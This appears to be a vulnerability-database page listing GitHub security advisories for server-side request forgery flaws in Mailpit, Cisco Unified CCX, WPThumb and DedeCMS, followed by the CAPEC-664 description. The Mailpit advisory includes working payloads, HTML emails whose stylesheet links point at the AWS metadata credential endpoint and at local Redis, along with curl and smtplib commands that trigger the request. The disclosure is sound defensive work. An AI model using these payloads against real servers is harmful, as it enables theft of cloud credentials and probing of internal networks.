inserted\n })\n link.Parent.AppendChild(styleBlock)\n }\n }\n }\n \n return doc.Html()\n}\n```\n\n\n#### Attack Vectors\n\n**Attack Vector 1: Cloud Metadata Credential Theft**\n\nAttacker sends HTML email with:\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003clink rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role\"\u003e\n\u003c/head\u003e\n\u003cbody\u003eLegitimate email content\u003c/body\u003e\n\u003c/html\u003e\n```\n\nWhen HTML check is triggered:\n1. Mailpit makes GET request to AWS metadata endpoint\n2. Downloads IAM credentials as \"CSS content\"\n3. Credentials logged or potentially leaked via error messages\n\n\n\n#### Proof of Concept\n\nA complete working exploit is provided in `ssrf_htmlcheck_poc.py`.\n\n**PoC Usage:**\n\n```bash\n# Ensure Mailpit is running\n# SMTP: localhost:1025\n# HTTP API: localhost:8025\n\n# Run the exploit\npython3 ssrf_htmlcheck_poc.py\n```\n\n**PoC Workflow:**\n\n1. **Starts SSRF listener** on port 8888 to detect callbacks\n2. **Sends malicious HTML emails** containing:\n ```html\n \u003clink rel=\"stylesheet\" href=\"http://localhost:8888/malicious.css\"\u003e\n \u003clink rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/\"\u003e\n \u003clink rel=\"stylesheet\" href=\"http://127.0.0.1:6379/\"\u003e\n ```\n3. **Triggers HTML check** via API: `GET /api/v1/message/{ID}/html-check`\n4. **Monitors callbacks** and analyzes responses\n5. **Demonstrates exploitation** of:\n - Local listener (proves SSRF)\n - Cloud metadata endpoints\n - Internal services (Redis, etc.)\n - Private network ranges\n\n**Expected Output:**\n\n```\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551 Mailpit SSRF PoC - HTML Check CSS Download Vulnerability \u2551\n\u2551 Severity: MODERATE \u2551\n\u2551 File: internal/htmlcheck/css.go:193-207 \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\n[+] SSRF listener started on port 8888\n[*] Testing SSRF with callback to local listener...\n\n================================================================================\n[*] Testing SSRF with target: http://localhost:8888/malicious.css\n================================================================================\n[+] Email sent with CSS link to: http://localhost:8888/malicious.css\n[+] Message ID: abc123xyz\n[*] Triggering HTML check: http://localhost:8025/api/v1/message/abc123xyz/html-check\n[+] HTML check completed (Status: 200)\n\n[SSRF-LISTENER] 127.0.0.1 - \"GET /malicious.css HTTP/1.1\" 200 -\n\n[+] SUCCESS! SSRF confirmed - Received 1 callback(s):\n Path: /malicious.css\n User-Agent: Mailpit/dev\n\n================================================================================\n[*] Testing SSRF against internal/private targets...\n================================================================================\n\n\u26a0\ufe0f Note: These may timeout or fail, but Mailpit WILL attempt the connection\n\n[+] Email sent with CSS link to: http://127.0.0.1:6379/\n[+] Message ID: def456uvw\n[*] Triggering HTML check: http://localhost:8025/api/v1/message/def456uvw/html-check\n[!] Request timed out - target may be blocking or slow\n```\n\n**Manual Testing:**\n\n```bash\n# 1. Send malicious email\ncat \u003c\u003c \u0027EOF\u0027 | python3 - \u003c\u003cSENDMAIL\nimport smtplib\nfrom email.mime.text import MIMEText\n\nhtml = \u0027\u0027\u0027\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003clink rel=\"stylesheet\" href=\"http://169.254.169.254/latest/meta-data/\"\u003e\n\u003c/head\u003e\n\u003cbody\u003eTest\u003c/body\u003e\n\u003c/html\u003e\n\u0027\u0027\u0027\n\nmsg = MIMEText(html, \u0027html\u0027)\nmsg[\u0027Subject\u0027] = \u0027SSRF Test\u0027\nmsg[\u0027From\u0027] = \u0027test@test.com\u0027\nmsg[\u0027To\u0027] = \u0027victim@test.com\u0027\n\nwith smtplib.SMTP(\u0027localhost\u0027, 1025) as smtp:\n smtp.send_message(msg)\nSENDMAIL\nEOF\n\n# 2. Get message ID\nMESSAGE_ID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r \u0027.messages[0].ID\u0027)\n\n# 3. Trigger SSRF\ncurl -v \"http://localhost:8025/api/v1/message/$MESSAGE_ID/html-check\"",
"id": "GHSA-6jxm-fv7w-rw5j",
"modified": "2026-02-02T14:50:55Z",
"published": "2026-01-21T01:01:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/security/advisories/GHSA-6jxm-fv7w-rw5j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23845"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/commit/1679a0aba592ebc8487a996d37fea8318c984dfe"
},
{
"type": "PACKAGE",
"url": "https://github.com/axllent/mailpit"
},
{
"type": "WEB",
"url": "https://github.com/axllent/mailpit/releases/tag/v1.28.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API"
}
GHSA-6M2F-GR3G-WQW2
Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2024-04-04 01:53A vulnerability in Cisco Unified Contact Center Express (Unified CCX) could allow an unauthenticated, remote attacker to bypass access controls and conduct a server-side request forgery (SSRF) attack on a targeted system. The vulnerability is due to improper validation of user-supplied input on the affected system. An attacker could exploit this vulnerability by sending the user of the web application a crafted request. If the request is processed, the attacker could access the system and perform unauthorized actions.
{
"affected": [],
"aliases": [
"CVE-2019-12633"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-09-05T02:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in Cisco Unified Contact Center Express (Unified CCX) could allow an unauthenticated, remote attacker to bypass access controls and conduct a server-side request forgery (SSRF) attack on a targeted system. The vulnerability is due to improper validation of user-supplied input on the affected system. An attacker could exploit this vulnerability by sending the user of the web application a crafted request. If the request is processed, the attacker could access the system and perform unauthorized actions.",
"id": "GHSA-6m2f-gr3g-wqw2",
"modified": "2024-04-04T01:53:15Z",
"published": "2022-05-24T16:55:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12633"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190904-unified-ccx-ssrf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6M2J-H3VF-HRW4
Vulnerability from github – Published: 2025-06-20 15:30 – Updated: 2026-04-01 18:35Server-Side Request Forgery (SSRF) vulnerability in Joe Hoyle WPThumb allows Server Side Request Forgery. This issue affects WPThumb: from n/a through 0.10.
{
"affected": [],
"aliases": [
"CVE-2025-49983"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-20T15:15:24Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Joe Hoyle WPThumb allows Server Side Request Forgery. This issue affects WPThumb: from n/a through 0.10.",
"id": "GHSA-6m2j-h3vf-hrw4",
"modified": "2026-04-01T18:35:31Z",
"published": "2025-06-20T15:30:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49983"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-thumb/vulnerability/wordpress-wpthumb-plugin-0-10-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6M67-X55H-JGR8
Vulnerability from github – Published: 2023-07-10 18:30 – Updated: 2023-07-10 18:30A vulnerability classified as critical was found in DedeCMS 5.7.109. Affected by this vulnerability is an unknown functionality of the file co_do.php. The manipulation of the argument rssurl leads to server-side request forgery. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-233371.
{
"affected": [],
"aliases": [
"CVE-2023-3578"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-10T16:15:56Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical was found in DedeCMS 5.7.109. Affected by this vulnerability is an unknown functionality of the file co_do.php. The manipulation of the argument rssurl leads to server-side request forgery. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-233371.",
"id": "GHSA-6m67-x55h-jgr8",
"modified": "2023-07-10T18:30:50Z",
"published": "2023-07-10T18:30:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3578"
},
{
"type": "WEB",
"url": "https://github.com/nightcloudos/cve/blob/main/SSRF.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.233371"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.233371"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.